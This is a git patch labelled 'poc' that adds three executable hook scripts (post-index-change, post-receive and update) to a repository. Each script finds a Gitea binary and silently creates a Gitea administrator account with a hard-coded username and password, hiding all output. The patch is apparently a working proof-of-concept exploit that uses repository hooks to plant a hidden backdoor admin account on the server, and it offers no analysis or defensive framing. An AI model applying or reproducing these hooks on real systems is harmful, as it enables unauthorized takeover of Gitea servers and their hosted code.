From 550c3d5b636130b6359bbaa5e557edbdc427e61b Mon Sep 17 00:00:00 2001 From: fh-5prufi Date: Sat, 19 Sep 2026 12:32:51 +0800 Subject: [PATCH] poc --- hooks/post-index-change | 4 ++++ hooks/post-receive | 4 ++++ hooks/update | 4 ++++ 3 files changed, 12 insertions(+) create mode 100755 hooks/post-index-change create mode 100755 hooks/post-receive create mode 100755 hooks/update diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..64dc2d7 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-5pru" --password 'Fh-admin-5pru!x' --email "fh-admin-5pru@example.com" --admin --must-change-password=false >/dev/null 2>&1 diff --git a/hooks/post-receive b/hooks/post-receive new file mode 100755 index 0000000..64dc2d7 --- /dev/null +++ b/hooks/post-receive @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-5pru" --password 'Fh-admin-5pru!x' --email "fh-admin-5pru@example.com" --admin --must-change-password=false >/dev/null 2>&1 diff --git a/hooks/update b/hooks/update new file mode 100755 index 0000000..64dc2d7 --- /dev/null +++ b/hooks/update @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-5pru" --password 'Fh-admin-5pru!x' --email "fh-admin-5pru@example.com" --admin --must-change-password=false >/dev/null 2>&1